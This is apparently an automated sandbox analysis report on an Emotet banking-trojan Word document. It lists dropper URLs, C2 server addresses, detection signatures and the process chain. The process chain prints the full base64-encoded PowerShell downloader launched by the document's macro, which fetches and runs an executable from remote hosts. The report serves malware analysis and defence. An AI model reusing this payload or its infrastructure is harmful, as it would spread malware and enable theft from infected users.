Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/08/2020, 14:35

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_008c8d192b57ea0228aeabf6f51b0f45e6e395ddeb83dd3eca68dc8b4abb3dd1_2020-08-21__143403._doc.doc
  • Size 179KB
  • Sample200821-4vvphkr7ca
  • SHA256 008c8d192b57ea0228aeabf6f51b0f45e6e395ddeb83dd3eca68dc8b4abb3dd1
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://trilibertyescrow.com/wp-includes/TV/
  • exe.dropper

    http://solucionestecnicom.com/cdrom/onP/
  • exe.dropper

    http://tomki.com/mta-sts/cgi-bin/open_box/uz/
  • exe.dropper

    http://centralaviationsolutions.com/browse/N3/
  • exe.dropper

    http://cloud9bray.com/blog/It/
  • exe.dropper

    http://cyclegypsy.com/hih2_1vu_a5p/Z/
  • exe.dropper

    http://aeinvest.com.vn/cgi-bin/fVU/

Extracted

Family

  • emotet

C2

  • 181.30.61.163:443

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 188.135.15.49:80

  • 104.131.41.185:8080

  • 178.250.54.208:8080

  • 50.28.51.143:8080

  • 170.81.48.2:80

  • 87.106.46.107:8080

  • 191.99.160.58:80

  • 187.162.248.237:80

  • 89.32.150.160:8080

  • 46.28.111.142:7080

  • 190.190.148.27:8080

  • 190.115.18.139:8080

  • 178.79.163.131:8080

  • 73.213.208.163:80

  • 219.92.8.17:8080

  • 95.9.180.128:80

  • 212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_008c8d192b57ea0228aeabf6f51b0f45e6e395ddeb83dd3eca68dc8b4abb3dd1_2020-08-21__143403._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAGMAaQB6AHIAcQBxAD0AKAAnAFQAZQAnACsAJwA4AHUAagBtAGsAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgBUAEUAbQBwAFwAbwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAYABpAFQAeQBwAHIAYABvAFQATwBjAE8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAJwAxADIALAAgAHQAJwArACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdABsAHMAJwApADsAJABOADkAeAAyADkAYwA0ACAAPQAgACgAJwBRACcAKwAnAGsAbABhACcAKwAnAHAANgBvAGcAJwApADsAJABTAGoAMQB6AHcAZABoAD0AKAAnAFgAJwArACcAcgBpADcAJwArACcAMgB3AHkAJwApADsAJABEADIANAB4AGQAdwA5AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ACcAKwAnADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AHsAJwArACcAMAAnACsAJwB9ACcAKQAgAC0ARgBbAGMASABBAHIAXQA5ADIAKQArACQATgA5AHgAMgA5AGMANAArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAQgA3ADAAegBvAGYAZwA9ACgAJwBZACcAKwAnAGQAeAAzADMAcwAnACsAJwAzACcAKQA7ACQAVQBjAG4AcAAyAGgAcwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAGwAaQBFAG4AdAA7ACQAVQB3AGQAMwB4AGwAbQA9ACgAJwBoAHQAdABwACcAKwAnAHMAOgAvAC8AdAByAGkAbABpACcAKwAnAGIAZQByAHQAeQBlACcAKwAnAHMAYwByACcAKwAnAG8AdwAuAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAJwArACcAbAB1AGQAZQBzAC8AVABWAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHMAbwBsAHUAYwBpAG8AJwArACcAbgBlACcAKwAnAHMAdABlAGMAbgAnACsAJwBpAGMAbwBtAC4AYwBvACcAKwAnAG0ALwBjAGQAcgAnACsAJwBvAG0ALwBvACcAKwAnAG4AUAAnACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8AJwArACcALwB0ACcAKwAnAG8AJwArACcAbQBrAGkALgBjAG8AbQAvACcAKwAnAG0AdABhAC0AcwB0AHMALwAnACsAJwBjAGcAaQAnACsAJwAtAGIAJwArACcAaQBuAC8AbwBwACcAKwAnAGUAbgAnACsAJwBfACcAKwAnAGIAbwB4AC8AdQAnACsAJwB6AC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAvAGMAZQBuAHQAJwArACcAcgBhAGwAJwArACcAYQB2AGkAJwArACcAYQB0ACcAKwAnAGkAJwArACcAbwBuAHMAbwAnACsAJwBsAHUAdABpAG8AbgAnACsAJwBzAC4AYwBvACcAKwAnAG0AJwArACcALwBiAHIAbwB3AHMAZQAvAE4AMwAvACoAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwAnACsAJwBjAGwAbwB1AGQAJwArACcAOQBiAHIAYQB5AC4AYwBvACcAKwAnAG0AJwArACcALwAnACsAJwBiAGwAbwBnAC8AJwArACcASQB0AC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvAGMAJwArACcAeQBjAGwAZQBnAHkAJwArACcAcABzAHkALgAnACsAJwBjACcAKwAnAG8AbQAvAGgAaQBoACcAKwAnADIAXwAxAHYAdQBfAGEANQBwACcAKwAnAC8AWgAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBhAGUAaQBuAHYAZQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAuAHYAbgAvAGMAJwArACcAZwBpAC0AYgBpAG4ALwBmAFYAVQAvACcAKQAuACIAUwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBAGEANABoADIAYgBmAD0AKAAnAFMAeQBtADcAYgA1ACcAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADQAZABsAGQAcAAgAGkAbgAgACQAVQB3AGQAMwB4AGwAbQApAHsAdAByAHkAewAkAFUAYwBuAHAAMgBoAHMALgAiAGQAbwB3AGAATgBsAGAATwBhAGQAZgBJAGwARQAiACgAJABHAHoANABkAGwAZABwACwAIAAkAEQAMgA0AHgAZAB3ADkAKQA7ACQAUQAxAG4AXwBwAHIAawA9ACgAJwBCAGMAMwB0AHEAJwArACcAcABkACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEADIANAB4AGQAdwA5ACkALgAiAEwAYABFAG4AZwBUAGgAIgAgAC0AZwBlACAAMgA4ADMANgAwACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEQAMgA0AHgAZAB3ADkAKQA7ACQATwA1ADIANQByAHUAXwA9ACgAJwBZACcAKwAnAF8AMgAnACsAJwA0AGwAdgBlACcAKQA7AGIAcgBlAGEAawA7ACQAWQBmAGMAZQA0AGoAdQA9ACgAJwBHAGYAegAnACsAJwBrAHgAdgBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBnAHMAXwBnADcAZgA9ACgAJwBKAGkAcwBzACcAKwAnAHUAMgAyACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Qklap6og.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Qklap6og.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Windows\SysWOW64\KBDTUQ\diskraid.exe
        "C:\Windows\SysWOW64\KBDTUQ\diskraid.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1568

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/616-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/616-2-0x0000000008940000-0x0000000008944000-memory.dmp
        Download

        memory/616-3-0x0000000006DD0000-0x0000000006FD0000-memory.dmp
        Download

        memory/616-4-0x0000000006DD0000-0x0000000006FD0000-memory.dmp
        Download

        memory/616-5-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/616-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmp
        Download

        memory/616-7-0x0000000006DD0000-0x0000000006FD0000-memory.dmp
        Download

        memory/616-0-0x0000000000250000-0x0000000000350000-memory.dmp
        Download

        memory/1520-12-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1520-13-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1520-15-0x000000001AC70000-0x000000001AC71000-memory.dmp
        Download

        memory/1520-16-0x000000001C260000-0x000000001C261000-memory.dmp
        Download

        memory/1520-11-0x000000001ADE0000-0x000000001ADE1000-memory.dmp
        Download

        memory/1520-10-0x00000000022B0000-0x00000000022B1000-memory.dmp
        Download

        memory/1520-9-0x000007FEF2950000-0x000007FEF333C000-memory.dmp
        Download

        memory/1868-19-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1944-24-0x000007FEF3070000-0x000007FEF32EA000-memory.dmp
        Download